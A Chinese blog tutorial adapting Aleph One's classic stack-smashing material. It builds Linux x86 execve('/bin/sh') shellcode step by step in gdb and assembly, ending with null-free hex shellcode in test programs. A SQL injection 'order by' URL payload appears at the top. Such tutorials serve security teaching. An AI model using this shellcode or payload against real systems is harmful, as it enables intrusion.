如何写shell code

LoveSQL LoveSQL(SQL注入详解) 1、根据题目,显然想到的是sql注入漏洞,直接尝试万能密码 2、此时url构造,查看字段数 /check.php?username=admin' order by 3%23&password=1 # 存在 /check.php?username=admin' order by 4%23&password=1 # 报错 因此,得到总共有三个字段数 注意:url中不能用#,应该用url编码%23 3、用union来查询测试注入点,查看回显点 阅读详情
我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
                                               

   通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
栈顶                                                               栈底


sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数


下面是一个启动shell的C程序:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

   为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看整个过程是怎样的。先从main()开始:

------------------------------------------------------------------------------
0x8000130 <main>:   pushl  %ebp       #保存原来的栈帧指针
0x8000131 <main+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl   $0x8,%esp  #堆栈指针前移8个字节,为局部变量分配空间
                                      #相当于 char *name[2];因为每个字符指针
                                      #都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl   $0x80027b8,0xfffffff8(%ebp)
                                      #将字符串"/bin/sh"的地址拷贝到name[0]中                                          
                                      #等于name[0]="/bin/sh";
0x800013d <main+13>:movl   $0x0,0xfffffffc(%ebp)
                                      #将0(NULL)值拷贝到name[1]中
                                      #等于 name[1]=NULL;                                          
0x8000144 <main+20>:pushl  $0x0       #按从右到左的顺序将execv()的三个参数依次
                                      #压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal   0xfffffff8(%ebp),%eax
                                      #将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl  %eax       #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl   0xfffffff8(%ebp),%eax
                                   #将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl  %eax       #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call   0x80002bc <__execve>
                                      #参数全部压栈后,我们开始调用execve()
                                      #它首先将当前IP压入堆栈
------------------------------------------------------------------------------                                         

   现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
  
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp       #保存原来的栈帧指针
0x80002bd <__execve+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl  %ebx       #将ebx压栈
0x80002c0 <__execve+4>: movl   $0xb,%eax  #拷贝0xb(11)到eax中,这是syscall表的
                                          #索引值。11代表execv.
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx  #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl   0xc(%ebp),%ecx  #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl   0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int    $0x80      #软件中断,转入kernel模式

------------------------------------------------------------------------------

从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:

        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80

   如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:  
  
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------

   我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80
        h) 将0x1拷贝到寄存器EAX中
        i) 将0x0拷贝到寄存器EBX中
        j) 执行中断指令int $0x80

   下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
  
------------------------------------------------------------------------------
  movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/sh"的结尾
  movl   $0x0,null_addr                  #将NULL字放入某个内存单元中
  movl   $0xb,%eax                       #将0xb拷贝到EAX中
  movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
  leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
  leal   null_string,%edx                #将存放NULL字的地址拷贝到EDX中
  int    $0x80                           #执行中断指令int $0x80 (execv()完成)
  movl   $0x1, %eax                      #将0x1拷贝到EAX中
  movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
  /bin/sh string goes here.              #存放字符串"/bin/sh"
------------------------------------------------------------------------------

   现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                                栈底

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
  起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行


   经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
  jmp    offset-to-call           # 2 bytes 1.首先跳到call指令处去执行
  popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
  movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
  movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
  movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
  movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
  movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
  leal   array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
  leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
  int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
  movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
  movl   $0x0, %ebx              # 5 bytes 13.将0x0拷贝到EBX中
  int    $0x80                   # 2 bytes 14.调用中断int $0x80
  call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------

   计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
  
------------------------------------------------------------------------------
jmp    0x26               # 2 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x8(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb   $0x0,0x7(%esi)    # 4 bytes 5.将null字节放到字符串后第8个字节处
movl   $0x0,0xc(%esi)     # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x8(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xc(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax        # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx        # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80             # 2 bytes 14.调用中断int $0x80
call   -0x2b             # 5 bytes 2.将返回地址压栈,跳到popl处执行
  .string /"/bin/sh/"     # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
       
   |........ | 
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f7  0x7(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f8  0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下.
   |---------|    有人感兴趣的可以验证一下.
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fc  0xc(%esi)    空串的地址 即name[1] 大小是4个字节
   |    0    | 
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------| 
   | ....... |
         
------------------------------------------------------------------------------          
   为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
  
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
        "/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
        "/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
        "/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

   很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
  
           有问题的指令:                                 替代指令:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

   我们改进后的代码如下:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
                                        # 46 bytes total
");
}
------------------------------------------------------------------------------

   测试一下新的代码是否工作:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
        "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
        "/x80/xe8/xdc/xff/xff/xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.
AM芯片性能测试 目前车载FM&AM没有明确的国标,因此各家测试项目可能不同,最主要测试标准比较混乱,多是根据具体芯片的规格书以及与芯片厂商协商。信号发生器:R&S SMCV100B音频分析仪:R&S UPV AUDIO AYALYZER DC 250KHZ(AP的也可以)专用USB-I2C控制模块(不同芯片控制模块不同,例如SPI或UART的控制模块)卡农线(针对模拟声道输出,+接左/右声道,-接GND,地可接GND也可悬空) 阅读详情

相关推荐

python监听海康威视报警服务器

因为我使用海康威视摄像头是自带热成像的所以事件报警会上报两张图片,一张是RGB图像、另一张是热成像图像,因此使用。拿到的就是第一张RGB图像。可以点击测试,会显示。

qq_57018478的博客 1157

shellcode,缓冲区溢出漏洞及 远程调call

这个函数分配了8个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 8的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。我们的shellcode 不能有00,否则 strcpy 会提前结束,所以 上面的代码中有字符串00结尾,需要我们修改成其他的代码形式。我们只要把返回地址覆盖成我们要执行的代码地址,就可以让该函数返回的时候去顺利执行我们的代码了.

任鸟飞2217777779的博客 1695

产品经理如何运用AI提升工作效率

AI技术的应用为产品经理的工作流程带来了显著的效率提升。从需求收集到产品上线,AI可以在多个阶段提供智能化支持,帮助产品经理更好地理解用户需求、优化产品设计、提高开发和测试效率。在未来,随着AI技术的不断发展,产品经理将能够更加高效地管理产品生命周期,为用户提供更优质的产品体验。应用 | AI + 千行百业欢迎关注我的后续博文,我将分享更多关于人工智能、自然语言处理和计算机视觉的精彩内容。

不想宅的冷同学 1336

Shellcode中ret调用和call调用函数区别

ShellShellcode中ret调用和call调用函数区别在编写shellcode时,我们通常会使用call或者ret来调用执行某些系统函数或者我们自己编写的函数代码。下面以一个调用calc.exe的shellcode来说明一下它们的使用方式执行calc.exe的C语言代码: 1 LoadLibrary("kernel32.dll"); 2 WinExec("calc.exe",

北冥有鱼的Blog 3220

永磁同步电机FOC控制实战:如何用线性死区补偿解决低速抖动问题(附Matlab仿真代码)

本文详细介绍了永磁同步电机FOC控制中线性死区补偿技术的工程实现方法,有效解决低速抖动问题。通过Matlab/Simulink仿真验证,该方案可将转矩脉动降低70%以上,显著提升系统稳定性。文章包含完整的数学模型构建、Simulink实现步骤及参数整定技巧,为工程师提供实用解决方案。

weixin_30872499的博客 154

Cadence OrCAD: 层次化设计 Hierarchical Design

详细介绍OrCAD的原理图层次化设计方法。

Fantasy237的博客 1万+

执行shellcode的几种方式

首先写出汇编成功弹出计算器 #pragma comment(linker,"/section:.data,RWE") //data段可读写 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 #pragma comment(linker,"/INCREMENTAL:NO") //指...

qq_41683305的博客 5416

pytest-bdd封装

简介 pytestbdd主要是用于代码封装 代码封装的好处: 1、提升代码复用率 2、提示测试效率 手工测试–使用框架0代码 流程+数据驱动 产品经理这样的不懂测试的人员–流程驱动 自动化测试–数据驱动 pytest-bdd:流程驱动封装 行为驱动–敏捷开发模式,消除开发/测试对需要了解的歧义 使用方式: 描述需求/用户场景 Feature(需求) Scenario(场景) Given(假设) When(操作步骤) Then(验证,清除) #新建feature 文件之前 需要提取安装支持featrue文.

liao_11的博客 2733

ShellCode自定位的几种实现方法

在编写shellcode的时候,经常需要定位当前程序的运行位置,所以在shellcode中定位运行的位置是一种常用的场景,本文记录了几种用于定位代码运行位置的方法。 [toc] 1.CALL/POP型 01 E8 00000000 call 06 将eip压栈,然后跳转到eip执行 06 58 pop eax 将eip出...

meanong的博客 2506

YOLOv11改进 | 主干/Backbone篇 | 轻量级移动端网络ShuffleNetV2(附代码+修改教程)

本文给大家带来的改进内容是ShuffleNetV2,这是一种为移动设备设计的高效CNN架构。其在ShuffleNetV1的基础上强调除了FLOPs之外,还应考虑速度、内存访问成本和平台特性。(我在YOLOv11n上修改该主干降低了GFLOPs,但是参数量还是有一定上涨,其非常适合轻量化的读者来使用,同时精度也有一定程度的上涨)。本文通过介绍其主要框架原理,然后教你如何添加该网络结构到网络模型中。

Snu77的博客 3385

【雕爷学编程】Arduino动手做(71)---红外遥控器及接收模块3

雕爷学编程,Arduino动手做,开源硬件,创客传感器,红外遥控器及接收模块

雕爷学编程 2285

3.1 shellcode 概述

概述

qq_55202378的博客 467

IgH EtherCAT 从入门到精通:第 4 章 网络设备驱动选型与配置

摘要:本章详细介绍了EtherCAT主站网络设备驱动的选型与配置。IgH EtherCAT Master提供Generic通用驱动和Native原生驱动两种方案:Generic驱动通过Linux Socket接口实现,兼容性强但实时性较差;Native驱动通过修改网卡驱动绕过内核协议栈,具有更低延迟和更小抖动。文章具体分析了e1000/e1000e/igb/igc等Intel网卡驱动以及r8169/8139too等Realtek驱动的配置方法,并提供了驱动选型建议。对于实时性要求高的场景,推荐使用Nativ

从事嵌入式linux android驱动开发,拥有全栈能力 304

如何写Shell Code

Buffer overflows are one of the most common vulnerabilities exploited in programs. However, in order to use the exploit to accomplish anything, shellcode must be used. This tutorial is going to go ove

收集盒 Book box 701

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

手把手教你写SHELL CODE

如何在一个游戏和一个软件或者操作系统中执行我们自己的代码?远程堆栈溢出?迭代逆向? 下面这段SHELL神马意思?如何使用?先占个位置,敬请期待 \x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3 转载于:https://www.cnblogs.com/cfas/archive/2013/06/02/3113403.html...

ddz777751的博客 120

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

shell里面用tee写log时return code问题

shell里面,常出现程序执行结果既要往终端输出,又要往log文件输出的情况,这时候一般都使用tee。 例如: #!/bin/sh command | tee -a out.txt ST=$?   但是现在变量ST里设置的返回值是tee命令的返回值,而不是command的返回值, 所以出现即使command执行结果出错,可变量ST的值仍是正常0的情况。   解决办法...

ak47jp的专栏 1000

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

linux中用execve创建文件夹,在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a shell,尽量写的詳細了...

在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a shell,尽量写的詳細了写这个一是给别人看,二也是帮助自己理清思路,欢迎吐槽这是在32位机器下的代码,不是64位用汇编写linux中的系统调用execve()之前应该man execve一下说明一下寄存器的使用int execve(const char *filename, char *co...

weixin_39519554的博客 290

如何防止AI代理范围失控:Pilot Shell计划审批门控实战详解

你是否经历过这样的场景:让 Claude Code 或 Codex 这类 AI 编程代理自主写功能,结果它悄悄改了不该改的文件、跳过了测试、甚至在没等你点头前就把"计划"当成了"批准"?这正是 AI 代理范围失控的典型表现。**Pilot Shell** 是一个开源项目,它用"规格驱动开发 + 强制 TDD + 钩子门控"的组合拳来驾驭 Claude Code 与 Codex:先规划、再审批、后实

gitblog_00755的博客 942

< OS 有关 > 在 Windows 11 中编辑的 Shell Script 文件带有 Windows 格式的换行符 “显示为 ^M“, 在 Unix/Linux 中剔除的几种方法

介绍5种,提出脚本中 windows 回车换行符的方法

davenian的博客 659

Pilot Shell 强制执行TDD:RED-GREEN-REFACTOR 完整机制解析

**Pilot Shell** 是一套让 Claude Code 和 Codex 像真正的工程师一样工作的完整方案:规格驱动的计划、**强制 TDD**、持久记忆和多层质量门禁。本文将完整解析它是如何把经典的 **RED-GREEN-REFACTOR** 测试驱动开发循环,从一句"口号"变成 Agent 每次写代码时都被机械执行的硬机制——而不是靠模型"自觉"。 [![Pilot Shell 控

gitblog_00052的博客 602

Pilot Shell 九大命令速查表:从/prd到/benchmark完整选择指南

如果你在用 **Pilot Shell** 驱动 Claude Code 或 Codex 写代码,最大的困惑往往是:九大命令到底该选哪个?Pilot Shell 是一套面向真实工程师的 AI 编程工作流框架,提供规格驱动规划、强制 TDD、持久记忆和多层质量门禁。本文用一张速查表帮你快速定位:从头脑风暴的 `/prd`、端到端交付的 `/spec`,到量化效果的 `/benchmark`,每个命令

gitblog_00830的博客 543

如何使用shfmt:让Shell脚本格式化变得简单高效

